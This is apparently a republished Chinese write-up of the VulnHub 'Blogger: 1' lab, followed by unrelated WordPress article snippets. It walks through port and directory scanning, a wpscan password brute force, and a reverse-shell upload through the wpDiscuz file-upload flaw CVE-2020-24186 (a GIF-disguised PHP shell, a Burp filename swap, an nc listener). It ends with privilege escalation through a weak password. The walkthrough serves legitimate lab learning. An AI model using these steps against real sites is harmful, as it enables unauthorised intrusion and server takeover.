程序员经验分享-hwhale

vulnhub blogger: 1

2023-11-03

渗透思路：

nmap扫描端口 ---- gobuster扫描网站目录 ---- wpscan发现wordpress漏洞插件 ---- 利用插件wpdiscuz的未授权的任意文件上传漏洞（CVE-2020-24186）getshell ---- 弱密码提权

环境信息：

靶机：192.168.101.106

攻击机：192.168.101.34

具体步骤：

1、nmap扫描端口

sudo nmap -sV -sC -p- 192.168.101.106

扫描到22和80端口

2、gobuster扫描网站目录

gobuster dir -u http://192.168.101.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

只扫描到下图几个目录，一个个看过去，发现/assets目录内有乾坤

http://192.168.101.106/assets/fonts/下有个目录叫blog，点了之后来到http://192.168.101.106/assets/fonts/blog/

观察http://192.168.101.106/assets/fonts/blog/发现应该是个wordpress站点

3、wpscan发现wordpress漏洞插件

wpscan枚举wordpress用户名

wpscan --url http://192.168.101.106/assets/fonts/blog/ -e

发现用户jm3s

然后爆破jm3s的密码，但是没有爆破出来

wpscan --url http://192.168.101.106/assets/fonts/blog/ -U jm3s-P "rockyou.txt"

接下来尝试用wpscan枚举wordpress插件，可以选mixed模式或者aggressive模式

wpscan --url http://192.168.101.106/assets/fonts/blog/ --plugins-detection mixed

发现两个插件，其中wpdiscuz有未授权的任意文件上传漏洞，可以getshell

4、利用插件wpdiscuz的未授权的任意文件上传漏洞（CVE-2020-24186）getshell

在利用任意文件上传之前，需要让网页正常显示，从网页源代码中可以推断，网站的hostname应该是

blogger.thm

修改攻击机的/etc/hosts，增加一行192.168.101.106 blogger.thm

下面这篇文章是该漏洞的复现（CVE-2020-24186），照着做一遍就可以getshell

https://www.jianshu.com/p/6f178aec2749

先随便点一个文章，比如第一篇http://blogger.thm/assets/fonts/blog/?p=29

拉到文章最下面，在提交评论的右下角有个图像的图标，点击这个图标

将kali中/usr/share/webshells/php/php-reverse-shell.php重命名为shell.gif，并在文件内容的最前面加上"GIF89a"(不好意思图片里面写错了，不过居然过了验证^-^)，然后将$ip和$port改为攻击机ip和监听端口。保存后在此处上传。

上传过程中用burp抓包，将请求报文中filename改为shell.php

响应报文中可以看到shell.php的存储路径http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

攻击机上nc监听8888端口

nc -nlvp 8888

浏览器访问

http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

在攻击机监听端口上得到www-data的shell

执行下面的代码可以得到交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

5、弱密码提权

进入靶机/home目录发现有三个用户，经过尝试发现vagrant用户的密码和用户名相同，用su - vagrant命令提权到vagrant。

提权到vagrant后，执行sudo -l，发现vagrant可以以任何用户的身份执行任何命令，因此可以用sudo su -命令提权到root

两个flag文件分别是/home/james/user.txt和/root/root.txt，内容都是base64编码的，可以用cat xxx | base64 -d命令解码

cat /home/james/user.txt | base64 -d

cat /root/root.txt | base64 -d

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

vulnhub

wpscan

WordPress

wpdiscuz

CVE202024186

vulnhub blogger: 1 的相关文章

  • WordPress 包含 SVG 文件错误

    我使用 PHP 和 WordPress 在本地主机上 我可以毫无问题地包含 SVG 文件 但在实时服务器上 我尝试包含一个 SVG 文件以便能够使用 CSS 对其进行样式设置 我收到此错误消息 Parse error syntax erro

  • WordPress 自定义帖子类型未显示在搜索结果中

    我在 WordPress 中遇到自定义帖子类型 测验 和搜索的问题 自定义帖子类型未显示在我的搜索结果页面中 我的搜索结果中仅显示默认的帖子内容 以下是我使用的代码 函数 php函数create posttype register post

  • 如果产品重量超过1000克，如何以公斤为单位显示

    在 Storefront 主题中 我使用下面的代码将格式化重量从 1000g 更改为 1kg add action woocommerce after shop loop item title show weight 10 function

  • wp_unregister 和 wp_enqueue

    有人建议我使用 wp unregister 和 wp enqueue 将 wordpress jquery 库替换为 google 托管的库 因为 wordpress 有一些问题 然而 当我尝试将这些插入我的 WordPress 网站时 它

  • WordPress 插件滑块革命错误

    我无法摆脱以下错误 我激活插件后出现错误 Slider Revolution error could not unzip into the revslider public assets folder please make sure th

  • 如何在 WordPress 中设置发布日期的格式？

    我有一个侧边栏 我想在其中显示最新的帖子 现在它显示标题 日期和摘录 日期显示了我想要删除的时间 我用这个显示日期 recent post date

  • WooCommerce 从前端（而不是管理员）隐藏订单项元

    我有一些我不希望客户看到的订单项元详细信息 在帐户信息下的查看订单页面上 我找到了一个过滤器 可以从管理员 我仍然希望看到它 中删除这些数据 但找不到类似的过滤器来从前端 应该隐藏它 中删除它 这是将从后端管理中删除它的代码 对我来说毫无用

  • WooCommerce：返回特定类别中所有产品 ID 的函数

    我认为问题的标题是相当不言自明的 但要详细说明 我正在尝试在 Woocommerce 中制作自定义类别页面 我需要的是返回特定类别中的所有产品 ID 我见过这个帖子 https stackoverflow com questions 210

  • 2 使用我的代码在数组中查询

    我使用滑块来显示我的 WordPress 精选文章 它选择一个自定义类别并返回一定数量的帖子 如何将显示的第一篇帖子设为自定义帖子 我可以直接在滑块代码中添加特定帖子的 ID吗使该帖子首先出现 然后是原始查询返回的其他内容 例如 在页面上

  • 添加产品属性列以在 Woocommerce 中编辑订单页面

    对此的任何帮助都非常感激 到目前为止尝试了很多方法都无济于事 包括这里的建议 将产品简短描述添加到 Woocommerce 管理订单预览 https stackoverflow com questions 49755552 add prod

  • 将优惠券百分比添加到 WooCommerce 中的购物车页面

    我试图在购物车页面中显示优惠券百分比 但收到几个错误 这是我的自定义代码 Add Coupon Percentage to Cart function my coupon percentage cart value coupon if co

  • 删除以动态更改的字符串开头的脚本类型属性

    在 WordPress 网站上 我想删除动态添加随机字符串的脚本 类型 属性 形式为 type xxx text javascript 其中 xxx 在页面加载时发生变化 Disable 火箭装载机 on 云耀光 yourdomain co

  • 根据 WooCommerce 中的订单数量设置折扣

    在WooCommerce中 如何根据订单数量设置折扣 例如 我想根据客户订单应用折扣 首单折扣 50 美元 第二次订购折扣 30 美元 第三次订购折扣10美元 我搜索过互联网但没有找到任何可用的解决方案或插件 Thanks 这是一个挂钩的自

  • WordPress 类别链接 get_category_link(id)

    我需要链接到我的 WordPress 网站中的一个类别 下面的代码在某种程度上可以工作 我的问题是它在网址中包含 category 这不是我的永久链接结构的设计方式 有谁知道在它输出的 url 中包含 category 的方法吗 我不明白你

  • WordPress 子主题覆盖父主题包括

    我正在创建 WordPress 子主题 需要覆盖某些小部件模板 我正在尝试使用此方法来覆盖父主题调用 覆盖主题功能的正确方法 http www venutip com content right way override theme fun

  • WordPress 子主题包括包含文件

    我在一家WordPress使用 AMPPS 作为本地主机在我的本地计算机上进行设置 使用 Delta 主题 我创建了一个子主题 delta2 child 初始设置效果很好 但是 我需要更改包含文件夹中名为 home slider php 的

  • 无法访问 WordPress 中声明的全局变量

    我有以下代码 g value something print g value function get value global g value print g value print get value 当我在独立的 PHP 脚本中运行它

  • WordPress 子文件夹安装重定向到根目录

    我遇到了一个奇怪的问题 我有我的主站点 mesopinions ca 它是一个 WordPress 安装 我还有几个子域 有自己的 WordPress 安装 无多站点 它与 concours mesopinions ca 子文件夹配合得很好

  • WordPress 中的 jQuery.post()

    我目前正在为 Wordpress 编写一个聊天框插件 该插件使用 jQuery post 方法将数据发送到 php 文件 以便将输出写入 html 文件 该文件又将使用 jQuery 加载到聊天窗口 在我用来将聊天日志写入html文件的ph

  • AWS EC2 上的 Wordpress - 分配弹性 IP 后损坏

    所以 我安装了 WordPress 并且运行得很好 我可以通过从实例获得的公共 DNS 访问该站点和 wp admin 但是 一旦我创建了弹性 IP 并将其与实例关联 我就无法再访问 wp admin 并且主页样式表和 JavaScript

随机推荐

  • nacos启动失败集锦

    我们启动nacos时 常常因各种环境条件所限 导致nacos启动不成功 现将nacos启动不成功的原因及解决办法罗列一下 物理内存小于启动时nacos的虚拟机内存设置 free 命令显示系统内存的使用情况 包括物理内存 交换内存 swap

  • 单元测试时调用 Debug.Break() 无效

    解决方案 在 Debug Break 后等待一帧 示例 UnityTest public IEnumerator TestDebugBreak Debug Log 编辑器暂停 Debug Break yield return null 等待

  • 夜神常用路径

    夜神安卓模拟器下载的文件在哪 怎么找不到了 小伙伴们是不是经常有这些疑问 一般情况下 使用夜神安卓模拟器下载的文件只能在夜神安卓模拟器里面看到 因为其下载的位置是在模拟器的景象文件里 电脑系统的文件夹里是无法直接看到的 不过用户可以使用夜神

  • GRAPH --- 图的相关概念整理

    Graph 更多Graph 的观念与术语 被vertex v指到的vertex vertices 称为v的 successor s 指向v的vertex vertices 称为v的 predecessor s 以 通讯录 为例 v的通讯录内

  • LeetCode 259. 3Sum Smaller（三数值和）

    原题网址 https leetcode com problems 3sum smaller Given an array of n integers nums and a target find the number of index tr

  • Go语言中的rune数据类型

    写在前面 最近开始学习Go语言 因为自己是从Java逐步转Go原因 在感慨Go语言简便的同时 也因为其封装的数据类型和包较多 所以还得慢慢学习 今天来谈谈Go语言中的rune数据类型 名词解释 Go语言中的整数类型也有有符号数和无符号数之别

  • blender 贴图导入与连接 学习日志

    1 下载贴图 推荐贴图网站ambientCG Public Domain Resources for Physically Based Renderinghttps ambientcg com 选定心仪的贴图进行下载 下载格式的选择 JPG

  • 进程虚拟地址空间以及三种内存管理方式 分页式/分段式/段页式

    平时我们都知道地址 是内存单元的编号 指针则是存储变量地址的变量 那么程序是否会有地址呢 程序是不占用内存的 存储在磁盘中 只有当运行时才会将数据载入内存中 进程的狭义概念是一个正在运行中的程序 进程详解看上一篇博客 因此进程是有地址空间的

  • 软件测试入门知识，jmeter系统基础课程———带你由浅入深学性能（三)

    给各位想学软件测试的同学们准备了一些自学资料 打开方式戳我并且输入暗号 CSDN 整理不易 希望对各位学习软件测试能带来帮助 2 XPath 提取 Xpath 基础语法 class A href 从根目录下定位所有 class A 的 hr

  • ORB_line_SLAM的编译及报错处理

    马上就要毕业了 搜索csdn没有关于ORB line SLAM的运行 在此记录一下为学习SLAM的小伙伴们做个参考 码字不易 动手点个赞 1 编译过程同ORBSLAM2一致 看此帖ORBSLAM2安装 2 编译过程报错处理 error1 W

  • 代码随想录算法训练营第二十七天｜ 131.分割回文串

    131 分割回文串 本题较难 大家先看视频来理解 分割问题 明天还会有一道分割问题 先打打基础 代码随想录 视频讲解 带你学透回溯算法 分割回文串 对应力扣题目 131 分割回文串 回溯法精讲 哔哩哔哩 bilibili List

  • Oracle 使用总结（四）

    1 查看 表是哪个模式下的 SELECT SELECT dba tables WHERE table name LIKE CUX TP TP MENU 中的是表名 2 with as 创建临时表 with tmp as select fro

  • 2019/9/18Java复习课02

    练习自加运算符 public class Test2 public static void main String args boolean x true boolean y false int z 40 if z 40 y true z

  • transformer综述汇总与变形分析（持续更新）

    Note 本文收集transformer领域的较流行的综述文章 将认为比较重要的内容整理在一起 用于学习和提供思路 1 谷歌 Efficient Transformers A Survey 2020年9月 新手不建议阅读 该综述关注各种 X

  • LeetCode·每日一题·2455. 可被三整除的偶数的平均值·模拟

    作者 小迅 链接 https leetcode cn problems average value of even numbers that are divisible by three solutions 2289199 mo ni zh

  • opencv+tkinter来在GUI内读取视频或摄像头

    在TK中读取视频 主要是使用tkinter中的tkinter after这个函数 相当于一个定时器 当然使用threading多线程也是能够达到同样的效果 video cv2 VideoCapture 0 def imshow global

  • log4j MDC用户操作日志追踪配置

    原文地址 http blog csdn net userwyh article details 52862216 一 MDC介绍 MDC Mapped Diagnostic Context 映射调试上下文 是 log4j 和 logback

  • Qt实现UDP通信简例

    参考 目标 特点 Tips 源码 发送端 maincpp 接收端 UdpReceiverh UdpReceivercpp maincpp 截图 工程 qmake 效果 参考 QT实现UDP通信 原版例子 Singals Slots 官方文档

  • linux系统中MongoDB数据库安装及分片集群搭建

    史上最全的mongodb分片集群搭建 从介绍安装到集群搭建授权 你再也找不到比他更加详细的资料了 未经允许禁止转载 一 简介 MongoDB是一个便于开发和扩展设计的文档数据库 属于NoSQL数据库的一种 MongoDB中的记录是一个由字段

  • vulnhub blogger: 1

    渗透思路 nmap扫描端口 gobuster扫描网站目录 wpscan发现wordpress漏洞插件 利用插件wpdiscuz的未授权的任意文件上传漏洞 CVE 2020 24186 getshell 弱密码提权 环境信息 靶机 192 1

热门标签